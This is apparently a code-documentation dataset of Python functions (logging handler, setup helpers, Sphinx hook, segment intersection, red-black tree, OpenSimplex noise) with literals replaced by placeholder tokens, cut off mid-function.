{"signature": "def emit(self, record):", "body": "self.messages[record.levelname.lower()].append(record.getMessage())<EOL>", "docstring": "Override to catch messages and store them messages in our internal dicts.", "id": "f16261:c1:m1"}
{"signature": "def reset(self):", "body": "self.messages = {<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT:info>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT:error>': [],<EOL>'<STR_LIT>': [],<EOL>}<EOL>", "docstring": "Clear out all messages, also called to initially populate messages dict.", "id": "f16261:c1:m2"}
{"signature": "def get_version(*file_paths):", "body": "filename = os.path.join(os.path.dirname(__file__), *file_paths)<EOL>version_file = open(filename).read()<EOL>version_match = re.search(r\"<STR_LIT>\",<EOL>version_file, re.M)<EOL>if version_match:<EOL><INDENT>return version_match.group(<NUM_LIT:1>)<EOL><DEDENT>raise RuntimeError(\"<STR_LIT>\")<EOL>", "docstring": "Extract the version string from the file at the given relative path fragments.", "id": "f16263:m0"}
{"signature": "def get_requirements(requirements_file):", "body": "lines = open(requirements_file).readlines()<EOL>dependencies = []<EOL>dependency_links = []<EOL>for line in lines:<EOL><INDENT>package = line.strip()<EOL>if package.startswith('<STR_LIT:#>'):<EOL><INDENT>continue<EOL><DEDENT>if any(package.startswith(prefix) for prefix in VCS_PREFIXES):<EOL><INDENT>package_link, __, package = package.rpartition('<STR_LIT:#>')<EOL>package_link = re.sub(r'<STR_LIT>', r'<STR_LIT>', package_link)<EOL>package = re.sub(r'<STR_LIT>', r'<STR_LIT>', package)<EOL>package_version = re.sub(r'<STR_LIT>', '<STR_LIT>', line.strip())<EOL>if package:<EOL><INDENT>dependency_links.append(<EOL>'<STR_LIT>'.format(<EOL>package_link=package_link,<EOL>package=package,<EOL>package_version=package_version,<EOL>)<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>package, __, __ = package.partition('<STR_LIT:#>')<EOL>package = package.strip()<EOL><DEDENT>if package:<EOL><INDENT>dependencies.append(package)<EOL><DEDENT><DEDENT>return dependencies, dependency_links<EOL>", "docstring": "Get the contents of a file listing the requirements", "id": "f16263:m1"}
{"signature": "def on_init(app):  ", "body": "docs_path = os.path.abspath(os.path.dirname(__file__))<EOL>root_path = os.path.abspath(os.path.join(docs_path, '<STR_LIT:..>'))<EOL>apidoc_path = '<STR_LIT>'<EOL>if hasattr(sys, '<STR_LIT>'):  <EOL><INDENT>bin_path = os.path.abspath(os.path.join(sys.prefix, '<STR_LIT>'))<EOL>apidoc_path = os.path.join(bin_path, apidoc_path)<EOL><DEDENT>check_call([apidoc_path, '<STR_LIT>', docs_path, os.path.join(root_path, '<STR_LIT>'),<EOL>os.path.join(root_path, '<STR_LIT>')])<EOL>", "docstring": "Run sphinx-apidoc after Sphinx initialization.\n\nRead the Docs won't run tox or custom shell commands, so we need this to\navoid checking in the generated reStructuredText files.", "id": "f16265:m0"}
{"signature": "def setup(app):", "body": "event = '<STR_LIT>' if six.PY3 else b'<STR_LIT>'<EOL>app.connect(event, on_init)<EOL>", "docstring": "Sphinx extension: run sphinx-apidoc.", "id": "f16265:m1"}
{"signature": "def isect_segments__naive(segments):", "body": "isect = []<EOL>if Real is float:<EOL><INDENT>segments = [<EOL>(s[<NUM_LIT:0>], s[<NUM_LIT:1>]) if s[<NUM_LIT:0>][X] <= s[<NUM_LIT:1>][X] else<EOL>(s[<NUM_LIT:1>], s[<NUM_LIT:0>])<EOL>for s in segments]<EOL><DEDENT>else:<EOL><INDENT>segments = [<EOL>(<EOL>(Real(s[<NUM_LIT:0>][<NUM_LIT:0>]), Real(s[<NUM_LIT:0>][<NUM_LIT:1>])),<EOL>(Real(s[<NUM_LIT:1>][<NUM_LIT:0>]), Real(s[<NUM_LIT:1>][<NUM_LIT:1>])),<EOL>) if (s[<NUM_LIT:0>] <= s[<NUM_LIT:1>]) else<EOL>(<EOL>(Real(s[<NUM_LIT:1>][<NUM_LIT:0>]), Real(s[<NUM_LIT:1>][<NUM_LIT:1>])),<EOL>(Real(s[<NUM_LIT:0>][<NUM_LIT:0>]), Real(s[<NUM_LIT:0>][<NUM_LIT:1>])),<EOL>)<EOL>for s in segments]<EOL><DEDENT>n = len(segments)<EOL>for i in range(n):<EOL><INDENT>a0, a1 = segments[i]<EOL>for j in range(i + <NUM_LIT:1>, n):<EOL><INDENT>b0, b1 = segments[j]<EOL>if a0 not in (b0, b1) and a1 not in (b0, b1):<EOL><INDENT>ix = isect_seg_seg_v2_point(a0, a1, b0, b1)<EOL>if ix is not None:<EOL><INDENT>isect.append(ix)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return isect<EOL>", "docstring": "Brute force O(n2) version of ``isect_segments`` for test validation.", "id": "f16266:m12"}
{"signature": "def isect_polygon__naive(points):", "body": "isect = []<EOL>n = len(points)<EOL>if Real is float:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>points = [(Real(p[<NUM_LIT:0>]), Real(p[<NUM_LIT:1>])) for p in points]<EOL><DEDENT>for i in range(n):<EOL><INDENT>a0, a1 = points[i], points[(i + <NUM_LIT:1>) % n]<EOL>for j in range(i + <NUM_LIT:1>, n):<EOL><INDENT>b0, b1 = points[j], points[(j + <NUM_LIT:1>) % n]<EOL>if a0 not in (b0, b1) and a1 not in (b0, b1):<EOL><INDENT>ix = isect_seg_seg_v2_point(a0, a1, b0, b1)<EOL>if ix is not None:<EOL><INDENT>if USE_IGNORE_SEGMENT_ENDINGS:<EOL><INDENT>if ((len_squared_v2v2(ix, a0) < NUM_EPS_SQ or<EOL>len_squared_v2v2(ix, a1) < NUM_EPS_SQ) and<EOL>(len_squared_v2v2(ix, b0) < NUM_EPS_SQ or<EOL>len_squared_v2v2(ix, b1) < NUM_EPS_SQ)):<EOL><INDENT>continue<EOL><DEDENT><DEDENT>isect.append(ix)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return isect<EOL>", "docstring": "Brute force O(n2) version of ``isect_polygon`` for test validation.", "id": "f16266:m13"}
{"signature": "def get_intersections(self):", "body": "if Real is float:<EOL><INDENT>return list(self.intersections.keys())<EOL><DEDENT>else:<EOL><INDENT>return [(float(p[<NUM_LIT:0>]), float(p[<NUM_LIT:1>])) for p in self.intersections.keys()]<EOL><DEDENT>", "docstring": "Return a list of unordered intersection points.", "id": "f16266:c1:m1"}
{"signature": "def get_intersections_with_segments(self):", "body": "if Real is float:<EOL><INDENT>return [<EOL>(p, [event.segment for event in event_set])<EOL>for p, event_set in self.intersections.items()<EOL>]<EOL><DEDENT>else:<EOL><INDENT>return [<EOL>(<EOL>(float(p[<NUM_LIT:0>]), float(p[<NUM_LIT:1>])),<EOL>[((float(event.segment[<NUM_LIT:0>][<NUM_LIT:0>]), float(event.segment[<NUM_LIT:0>][<NUM_LIT:1>])),<EOL>(float(event.segment[<NUM_LIT:1>][<NUM_LIT:0>]), float(event.segment[<NUM_LIT:1>][<NUM_LIT:1>])))<EOL>for event in event_set],<EOL>)<EOL>for p, event_set in self.intersections.items()<EOL>]<EOL><DEDENT>", "docstring": "Return a list of unordered intersection '(point, segment)' pairs,\nwhere segments may contain 2 or more values.", "id": "f16266:c1:m2"}
{"signature": "def offer(self, p, e):", "body": "existing = self.events_scan.setdefault(<EOL>p, ([], [], [], []) if USE_VERTICAL else<EOL>([], [], []))<EOL>'''<STR_LIT>'''<EOL>existing[e.type].append(e)<EOL>", "docstring": "Offer a new event ``s`` at point ``p`` in this queue.", "id": "f16266:c2:m1"}
{"signature": "def poll(self):", "body": "assert(len(self.events_scan) != <NUM_LIT:0>)<EOL>p, events_current = self.events_scan.pop_min()<EOL>return p, events_current<EOL>", "docstring": "Get, and remove, the first (lowest) item from this queue.\n\n:return: the first (lowest) item from this queue.\n:rtype: Point, Event pair.", "id": "f16266:c2:m2"}
{"signature": "def __init__(self, items=None, cmp=None, cmp_data=None):", "body": "self._root = None<EOL>self._count = <NUM_LIT:0><EOL>if cmp is None:<EOL><INDENT>def cmp(cmp_data, a, b):<EOL><INDENT>if a < b:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>elif a > b:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT><DEDENT><DEDENT>self._cmp = cmp<EOL>self._cmp_data = cmp_data<EOL>if items is not None:<EOL><INDENT>self.update(items)<EOL><DEDENT>", "docstring": "T.__init__(...) initializes T; see T.__class__.__doc__ for signature", "id": "f16266:c3:m0"}
{"signature": "def clear(self):", "body": "def _clear(node):<EOL><INDENT>if node is not None:<EOL><INDENT>_clear(node.left)<EOL>_clear(node.right)<EOL>node.free()<EOL><DEDENT><DEDENT>_clear(self._root)<EOL>self._count = <NUM_LIT:0><EOL>self._root = None<EOL>", "docstring": "T.clear() -> None.  Remove all items from T.", "id": "f16266:c3:m1"}
{"signature": "@property<EOL><INDENT>def count(self):<DEDENT>", "body": "return self._count<EOL>", "docstring": "Get items count.", "id": "f16266:c3:m2"}
{"signature": "def pop_item(self):", "body": "if self.is_empty():<EOL><INDENT>raise KeyError(\"<STR_LIT>\")<EOL><DEDENT>node = self._root<EOL>while True:<EOL><INDENT>if node.left is not None:<EOL><INDENT>node = node.left<EOL><DEDENT>elif node.right is not None:<EOL><INDENT>node = node.right<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>key = node.key<EOL>value = node.value<EOL>self.remove(key)<EOL>return key, value<EOL>", "docstring": "T.pop_item() -> (k, v), remove and return some (key, value) pair as a\n        2-tuple; but raise KeyError if T is empty.", "id": "f16266:c3:m4"}
{"signature": "def min_item(self):", "body": "if self.is_empty():<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>node = self._root<EOL>while node.left is not None:<EOL><INDENT>node = node.left<EOL><DEDENT>return node.key, node.value<EOL>", "docstring": "Get item with min key of tree, raises ValueError if tree is empty.", "id": "f16266:c3:m5"}
{"signature": "def max_item(self):", "body": "if self.is_empty():<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>node = self._root<EOL>while node.right is not None:<EOL><INDENT>node = node.right<EOL><DEDENT>return node.key, node.value<EOL>", "docstring": "Get item with max key of tree, raises ValueError if tree is empty.", "id": "f16266:c3:m6"}
{"signature": "def succ_item(self, key, default=_sentinel):", "body": "<EOL>node = self._root<EOL>succ_node = None<EOL>while node is not None:<EOL><INDENT>cmp = self._cmp(self._cmp_data, key, node.key)<EOL>if cmp == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>elif cmp < <NUM_LIT:0>:<EOL><INDENT>if (succ_node is None) or self._cmp(self._cmp_data, node.key, succ_node.key) < <NUM_LIT:0>:<EOL><INDENT>succ_node = node<EOL><DEDENT>node = node.left<EOL><DEDENT>else:<EOL><INDENT>node = node.right<EOL><DEDENT><DEDENT>if node is None:  <EOL><INDENT>if default is _sentinel:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>return default<EOL><DEDENT>if node.right is not None:<EOL><INDENT>node = node.right<EOL>while node.left is not None:<EOL><INDENT>node = node.left<EOL><DEDENT>if succ_node is None:<EOL><INDENT>succ_node = node<EOL><DEDENT>elif self._cmp(self._cmp_data, node.key, succ_node.key) < <NUM_LIT:0>:<EOL><INDENT>succ_node = node<EOL><DEDENT><DEDENT>elif succ_node is None:  <EOL><INDENT>if default is _sentinel:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>return default<EOL><DEDENT>return succ_node.key, succ_node.value<EOL>", "docstring": "Get successor (k,v) pair of key, raises KeyError if key is max key\n        or key does not exist. optimized for pypy.", "id": "f16266:c3:m7"}
{"signature": "def prev_item(self, key, default=_sentinel):", "body": "<EOL>node = self._root<EOL>prev_node = None<EOL>while node is not None:<EOL><INDENT>cmp = self._cmp(self._cmp_data, key, node.key)<EOL>if cmp == <NUM_LIT:0>:<EOL><INDENT>break<EOL><DEDENT>elif cmp < <NUM_LIT:0>:<EOL><INDENT>node = node.left<EOL><DEDENT>else:<EOL><INDENT>if (prev_node is None) or self._cmp(self._cmp_data, prev_node.key, node.key) < <NUM_LIT:0>:<EOL><INDENT>prev_node = node<EOL><DEDENT>node = node.right<EOL><DEDENT><DEDENT>if node is None:  <EOL><INDENT>if default is _sentinel:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>return default<EOL><DEDENT>if node.left is not None:<EOL><INDENT>node = node.left<EOL>while node.right is not None:<EOL><INDENT>node = node.right<EOL><DEDENT>if prev_node is None:<EOL><INDENT>prev_node = node<EOL><DEDENT>elif self._cmp(self._cmp_data, prev_node.key, node.key) < <NUM_LIT:0>:<EOL><INDENT>prev_node = node<EOL><DEDENT><DEDENT>elif prev_node is None:  <EOL><INDENT>if default is _sentinel:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>return default<EOL><DEDENT>return prev_node.key, prev_node.value<EOL>", "docstring": "Get predecessor (k,v) pair of key, raises KeyError if key is min key\n        or key does not exist. optimized for pypy.", "id": "f16266:c3:m8"}
{"signature": "def __repr__(self):", "body": "tpl = \"<STR_LIT>\" % (self.__class__.__name__, '<STR_LIT:%s>')<EOL>return tpl % \"<STR_LIT:U+002CU+0020>\".join((\"<STR_LIT>\" % item for item in self.items()))<EOL>", "docstring": "T.__repr__(...) <==> repr(x)", "id": "f16266:c3:m9"}
{"signature": "def __contains__(self, key):", "body": "try:<EOL><INDENT>self.get_value(key)<EOL>return True<EOL><DEDENT>except KeyError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "k in T -> True if T has a key k, else False", "id": "f16266:c3:m10"}
{"signature": "def __len__(self):", "body": "return self.count<EOL>", "docstring": "T.__len__() <==> len(x)", "id": "f16266:c3:m11"}
{"signature": "def is_empty(self):", "body": "return self.count == <NUM_LIT:0><EOL>", "docstring": "T.is_empty() -> False if T contains any items else True", "id": "f16266:c3:m12"}
{"signature": "def set_default(self, key, default=None):", "body": "try:<EOL><INDENT>return self.get_value(key)<EOL><DEDENT>except KeyError:<EOL><INDENT>self.insert(key, default)<EOL>return default<EOL><DEDENT>", "docstring": "T.set_default(k[,d]) -> T.get(k,d), also set T[k]=d if k not in T", "id": "f16266:c3:m13"}
{"signature": "def get(self, key, default=None):", "body": "try:<EOL><INDENT>return self.get_value(key)<EOL><DEDENT>except KeyError:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "T.get(k[,d]) -> T[k] if k in T, else d.  d defaults to None.", "id": "f16266:c3:m14"}
{"signature": "def pop(self, key, *args):", "body": "if len(args) > <NUM_LIT:1>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" % (<NUM_LIT:1> + len(args)))<EOL><DEDENT>try:<EOL><INDENT>value = self.get_value(key)<EOL>self.remove(key)<EOL>return value<EOL><DEDENT>except KeyError:<EOL><INDENT>if len(args) == <NUM_LIT:0>:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>return args[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>", "docstring": "T.pop(k[,d]) -> v, remove specified key and return the corresponding value.\n        If key is not found, d is returned if given, otherwise KeyError is raised", "id": "f16266:c3:m15"}
{"signature": "def prev_key(self, key, default=_sentinel):", "body": "item = self.prev_item(key, default)<EOL>return default if item is default else item[<NUM_LIT:0>]<EOL>", "docstring": "Get predecessor to key, raises KeyError if key is min key\n        or key does not exist.", "id": "f16266:c3:m16"}
{"signature": "def succ_key(self, key, default=_sentinel):", "body": "item = self.succ_item(key, default)<EOL>return default if item is default else item[<NUM_LIT:0>]<EOL>", "docstring": "Get successor to key, raises KeyError if key is max key\n        or key does not exist.", "id": "f16266:c3:m17"}
{"signature": "def pop_min(self):", "body": "item = self.min_item()<EOL>self.remove(item[<NUM_LIT:0>])<EOL>return item<EOL>", "docstring": "T.pop_min() -> (k, v), remove item with minimum key, raise ValueError\n        if T is empty.", "id": "f16266:c3:m18"}
{"signature": "def pop_max(self):", "body": "item = self.max_item()<EOL>self.remove(item[<NUM_LIT:0>])<EOL>return item<EOL>", "docstring": "T.pop_max() -> (k, v), remove item with maximum key, raise ValueError\n        if T is empty.", "id": "f16266:c3:m19"}
{"signature": "def min_key(self):", "body": "return self.min_item()[<NUM_LIT:0>]<EOL>", "docstring": "Get min key of tree, raises ValueError if tree is empty.", "id": "f16266:c3:m20"}
{"signature": "def max_key(self):", "body": "return self.max_item()[<NUM_LIT:0>]<EOL>", "docstring": "Get max key of tree, raises ValueError if tree is empty.", "id": "f16266:c3:m21"}
{"signature": "def key_slice(self, start_key, end_key, reverse=False):", "body": "return (k for k, v in self.iter_items(start_key, end_key, reverse=reverse))<EOL>", "docstring": "T.key_slice(start_key, end_key) -> key iterator:\n        start_key <= key < end_key.\n\n        Yields keys in ascending order if reverse is False else in descending order.", "id": "f16266:c3:m22"}
{"signature": "def iter_items(self,  start_key=None, end_key=None, reverse=False):", "body": "<EOL>if self.is_empty():<EOL><INDENT>return []<EOL><DEDENT>if reverse:<EOL><INDENT>return self._iter_items_backward(start_key, end_key)<EOL><DEDENT>else:<EOL><INDENT>return self._iter_items_forward(start_key, end_key)<EOL><DEDENT>", "docstring": "Iterates over the (key, value) items of the associated tree,\n        in ascending order if reverse is True, iterate in descending order,\n        reverse defaults to False", "id": "f16266:c3:m23"}
{"signature": "def __getitem__(self, key):", "body": "return self.left if key == <NUM_LIT:0> else self.right<EOL>", "docstring": "N.__getitem__(key) <==> x[key], where key is 0 (left) or 1 (right).", "id": "f16266:c4:m2"}
{"signature": "def __setitem__(self, key, value):", "body": "if key == <NUM_LIT:0>:<EOL><INDENT>self.left = value<EOL><DEDENT>else:<EOL><INDENT>self.right = value<EOL><DEDENT>", "docstring": "N.__setitem__(key, value) <==> x[key]=value, where key is 0 (left) or 1 (right).", "id": "f16266:c4:m3"}
{"signature": "def _new_node(self, key, value):", "body": "self._count += <NUM_LIT:1><EOL>return Node(key, value)<EOL>", "docstring": "Create a new tree node.", "id": "f16266:c5:m3"}
{"signature": "def insert(self, key, value):", "body": "if self._root is None:  <EOL><INDENT>self._root = self._new_node(key, value)<EOL>self._root.red = False  <EOL>return<EOL><DEDENT>head = Node()  <EOL>grand_parent = None<EOL>grand_grand_parent = head<EOL>parent = None  <EOL>direction = <NUM_LIT:0><EOL>last = <NUM_LIT:0><EOL>grand_grand_parent.right = self._root<EOL>node = grand_grand_parent.right<EOL>while True:<EOL><INDENT>if node is None:  <EOL><INDENT>node = self._new_node(key, value)<EOL>parent[direction] = node<EOL><DEDENT>elif RBTree.is_red(node.left) and RBTree.is_red(node.right):  <EOL><INDENT>node.red = True<EOL>node.left.red = False<EOL>node.right.red = False<EOL><DEDENT>if RBTree.is_red(node) and RBTree.is_red(parent):<EOL><INDENT>direction2 = <NUM_LIT:1> if grand_grand_parent.right is grand_parent else <NUM_LIT:0><EOL>if node is parent[last]:<EOL><INDENT>grand_grand_parent[direction2] = RBTree.jsw_single(grand_parent, <NUM_LIT:1> - last)<EOL><DEDENT>else:<EOL><INDENT>grand_grand_parent[direction2] = RBTree.jsw_double(grand_parent, <NUM_LIT:1> - last)<EOL><DEDENT><DEDENT>if self._cmp(self._cmp_data, key, node.key) == <NUM_LIT:0>:<EOL><INDENT>node.value = value  <EOL>break<EOL><DEDENT>last = direction<EOL>direction = <NUM_LIT:0> if (self._cmp(self._cmp_data, key, node.key) < <NUM_LIT:0>) else <NUM_LIT:1><EOL>if grand_parent is not None:<EOL><INDENT>grand_grand_parent = grand_parent<EOL><DEDENT>grand_parent = parent<EOL>parent = node<EOL>node = node[direction]<EOL><DEDENT>self._root = head.right  <EOL>self._root.red = False<EOL>", "docstring": "T.insert(key, value) <==> T[key] = value, insert key, value into tree.", "id": "f16266:c5:m4"}
{"signature": "def remove(self, key):", "body": "if self._root is None:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>head = Node()  <EOL>node = head<EOL>node.right = self._root<EOL>parent = None<EOL>grand_parent = None<EOL>found = None  <EOL>direction = <NUM_LIT:1><EOL>while node[direction] is not None:<EOL><INDENT>last = direction<EOL>grand_parent = parent<EOL>parent = node<EOL>node = node[direction]<EOL>direction = <NUM_LIT:1> if (self._cmp(self._cmp_data, node.key, key) < <NUM_LIT:0>) else <NUM_LIT:0><EOL>if self._cmp(self._cmp_data, key, node.key) == <NUM_LIT:0>:<EOL><INDENT>found = node<EOL><DEDENT>if not RBTree.is_red(node) and not RBTree.is_red(node[direction]):<EOL><INDENT>if RBTree.is_red(node[<NUM_LIT:1> - direction]):<EOL><INDENT>parent[last] = RBTree.jsw_single(node, direction)<EOL>parent = parent[last]<EOL><DEDENT>elif not RBTree.is_red(node[<NUM_LIT:1> - direction]):<EOL><INDENT>sibling = parent[<NUM_LIT:1> - last]<EOL>if sibling is not None:<EOL><INDENT>if (not RBTree.is_red(sibling[<NUM_LIT:1> - last])) and (not RBTree.is_red(sibling[last])):<EOL><INDENT>parent.red = False<EOL>sibling.red = True<EOL>node.red = True<EOL><DEDENT>else:<EOL><INDENT>direction2 = <NUM_LIT:1> if grand_parent.right is parent else <NUM_LIT:0><EOL>if RBTree.is_red(sibling[last]):<EOL><INDENT>grand_parent[direction2] = RBTree.jsw_double(parent, last)<EOL><DEDENT>elif RBTree.is_red(sibling[<NUM_LIT:1>-last]):<EOL><INDENT>grand_parent[direction2] = RBTree.jsw_single(parent, last)<EOL><DEDENT>grand_parent[direction2].red = True<EOL>node.red = True<EOL>grand_parent[direction2].left.red = False<EOL>grand_parent[direction2].right.red = False<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if found is not None:<EOL><INDENT>found.key = node.key<EOL>found.value = node.value<EOL>parent[int(parent.right is node)] = node[int(node.left is None)]<EOL>node.free()<EOL>self._count -= <NUM_LIT:1><EOL><DEDENT>self._root = head.right<EOL>if self._root is not None:<EOL><INDENT>self._root.red = False<EOL><DEDENT>if not found:<EOL><INDENT>raise KeyError(str(key))<EOL><DEDENT>", "docstring": "T.remove(key) <==> del T[key], remove item <key> from tree.", "id": "f16266:c5:m5"}
{"signature": "def __init__(self, seed=DEFAULT_SEED):", "body": "<EOL>perm = self._perm = [<NUM_LIT:0>] * <NUM_LIT> <EOL>perm_grad_index_3D = self._perm_grad_index_3D = [<NUM_LIT:0>] * <NUM_LIT><EOL>source = [i for i in range(<NUM_LIT:0>, <NUM_LIT>)]<EOL>seed = overflow(seed * <NUM_LIT> + <NUM_LIT>)<EOL>seed = overflow(seed * <NUM_LIT> + <NUM_LIT>)<EOL>seed = overflow(seed * <NUM_LIT> + <NUM_LIT>)<EOL>for i in range(<NUM_LIT:255>, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>seed = overflow(seed * <NUM_LIT> + <NUM_LIT>)<EOL>r = int((seed + <NUM_LIT>) % (i + <NUM_LIT:1>))<EOL>if r < <NUM_LIT:0>:<EOL><INDENT>r += i + <NUM_LIT:1><EOL><DEDENT>perm[i] = source[r]<EOL>perm_grad_index_3D[i] = int((perm[i] % (len(GRADIENTS_3D) / <NUM_LIT:3>)) * <NUM_LIT:3>)<EOL>source[r] = source[i]<EOL><DEDENT>", "docstring": "Initiate the class and generate permutation arrays from a seed number.", "id": "f16267:c0:m0"}
{"signature": "def noise2d(self, x, y):", "body": "<EOL>stretch_offset = (x + y) * STRETCH_CONSTANT_2D<EOL>xs = x + stretch_offset<EOL>ys = y + stretch_offset<EOL>xsb = floor(xs)<EOL>ysb = floor(ys)<EOL>squish_offset = (xsb + ysb) * SQUISH_CONSTANT_2D<EOL>xb = xsb + squish_offset<EOL>yb = ysb + squish_offset<EOL>xins = xs - xsb<EOL>yins = ys - ysb<EOL>in_sum = xins + yins<EOL>dx0 = x - xb<EOL>dy0 = y - yb<EOL>value = <NUM_LIT:0><EOL>dx1 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_2D<EOL>dy1 = dy0 - <NUM_LIT:0> - SQUISH_CONSTANT_2D<EOL>attn1 = <NUM_LIT:2> - dx1 * dx1 - dy1 * dy1<EOL>extrapolate = self._extrapolate2d<EOL>if attn1 > <NUM_LIT:0>:<EOL><INDENT>attn1 *= attn1<EOL>value += attn1 * attn1 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, dx1, dy1)<EOL><DEDENT>dx2 = dx0 - <NUM_LIT:0> - SQUISH_CONSTANT_2D<EOL>dy2 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_2D<EOL>attn2 = <NUM_LIT:2> - dx2 * dx2 - dy2 * dy2<EOL>if attn2 > <NUM_LIT:0>:<EOL><INDENT>attn2 *= attn2<EOL>value += attn2 * attn2 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, dx2, dy2)<EOL><DEDENT>if in_sum <= <NUM_LIT:1>: <EOL><INDENT>zins = <NUM_LIT:1> - in_sum<EOL>if zins > xins or zins > yins: <EOL><INDENT>if xins > yins:<EOL><INDENT>xsv_ext = xsb + <NUM_LIT:1><EOL>ysv_ext = ysb - <NUM_LIT:1><EOL>dx_ext = dx0 - <NUM_LIT:1><EOL>dy_ext = dy0 + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>xsv_ext = xsb - <NUM_LIT:1><EOL>ysv_ext = ysb + <NUM_LIT:1><EOL>dx_ext = dx0 + <NUM_LIT:1><EOL>dy_ext = dy0 - <NUM_LIT:1><EOL><DEDENT><DEDENT>else: <EOL><INDENT>xsv_ext = xsb + <NUM_LIT:1><EOL>ysv_ext = ysb + <NUM_LIT:1><EOL>dx_ext = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_2D<EOL>dy_ext = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_2D<EOL><DEDENT><DEDENT>else: <EOL><INDENT>zins = <NUM_LIT:2> - in_sum<EOL>if zins < xins or zins < yins: <EOL><INDENT>if xins > yins:<EOL><INDENT>xsv_ext = xsb + <NUM_LIT:2><EOL>ysv_ext = ysb + <NUM_LIT:0><EOL>dx_ext = dx0 - <NUM_LIT:2> - <NUM_LIT:2> * SQUISH_CONSTANT_2D<EOL>dy_ext = dy0 + <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_2D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext = xsb + <NUM_LIT:0><EOL>ysv_ext = ysb + <NUM_LIT:2><EOL>dx_ext = dx0 + <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_2D<EOL>dy_ext = dy0 - <NUM_LIT:2> - <NUM_LIT:2> * SQUISH_CONSTANT_2D<EOL><DEDENT><DEDENT>else: <EOL><INDENT>dx_ext = dx0<EOL>dy_ext = dy0<EOL>xsv_ext = xsb<EOL>ysv_ext = ysb<EOL><DEDENT>xsb += <NUM_LIT:1><EOL>ysb += <NUM_LIT:1><EOL>dx0 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_2D<EOL>dy0 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_2D<EOL><DEDENT>attn0 = <NUM_LIT:2> - dx0 * dx0 - dy0 * dy0<EOL>if attn0 > <NUM_LIT:0>:<EOL><INDENT>attn0 *= attn0<EOL>value += attn0 * attn0 * extrapolate(xsb, ysb, dx0, dy0)<EOL><DEDENT>attn_ext = <NUM_LIT:2> - dx_ext * dx_ext - dy_ext * dy_ext<EOL>if attn_ext > <NUM_LIT:0>:<EOL><INDENT>attn_ext *= attn_ext<EOL>value += attn_ext * attn_ext * extrapolate(xsv_ext, ysv_ext, dx_ext, dy_ext)<EOL><DEDENT>return value / NORM_CONSTANT_2D<EOL>", "docstring": "Generate 2D OpenSimplex noise from X,Y coordinates.", "id": "f16267:c0:m4"}
{"signature": "def noise3d(self, x, y, z):", "body": "<EOL>stretch_offset = (x + y + z) * STRETCH_CONSTANT_3D<EOL>xs = x + stretch_offset<EOL>ys = y + stretch_offset<EOL>zs = z + stretch_offset<EOL>xsb = floor(xs)<EOL>ysb = floor(ys)<EOL>zsb = floor(zs)<EOL>squish_offset = (xsb + ysb + zsb) * SQUISH_CONSTANT_3D<EOL>xb = xsb + squish_offset<EOL>yb = ysb + squish_offset<EOL>zb = zsb + squish_offset<EOL>xins = xs - xsb<EOL>yins = ys - ysb<EOL>zins = zs - zsb<EOL>in_sum = xins + yins + zins<EOL>dx0 = x - xb<EOL>dy0 = y - yb<EOL>dz0 = z - zb<EOL>value = <NUM_LIT:0><EOL>extrapolate = self._extrapolate3d<EOL>if in_sum <= <NUM_LIT:1>: <EOL><INDENT>a_point = <NUM_LIT><EOL>a_score = xins<EOL>b_point = <NUM_LIT><EOL>b_score = yins<EOL>if a_score >= b_score and zins > b_score:<EOL><INDENT>b_score = zins<EOL>b_point = <NUM_LIT><EOL><DEDENT>elif a_score < b_score and zins > a_score:<EOL><INDENT>a_score = zins<EOL>a_point = <NUM_LIT><EOL><DEDENT>wins = <NUM_LIT:1> - in_sum<EOL>if wins > a_score or wins > b_score: <EOL><INDENT>c = b_point if (b_score > a_score) else a_point <EOL>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsb - <NUM_LIT:1><EOL>xsv_ext1 = xsb<EOL>dx_ext0 = dx0 + <NUM_LIT:1><EOL>dx_ext1 = dx0<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsb + <NUM_LIT:1><EOL>dx_ext0 = dx_ext1 = dx0 - <NUM_LIT:1><EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb<EOL>dy_ext0 = dy_ext1 = dy0<EOL>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext1 -= <NUM_LIT:1><EOL>dy_ext1 += 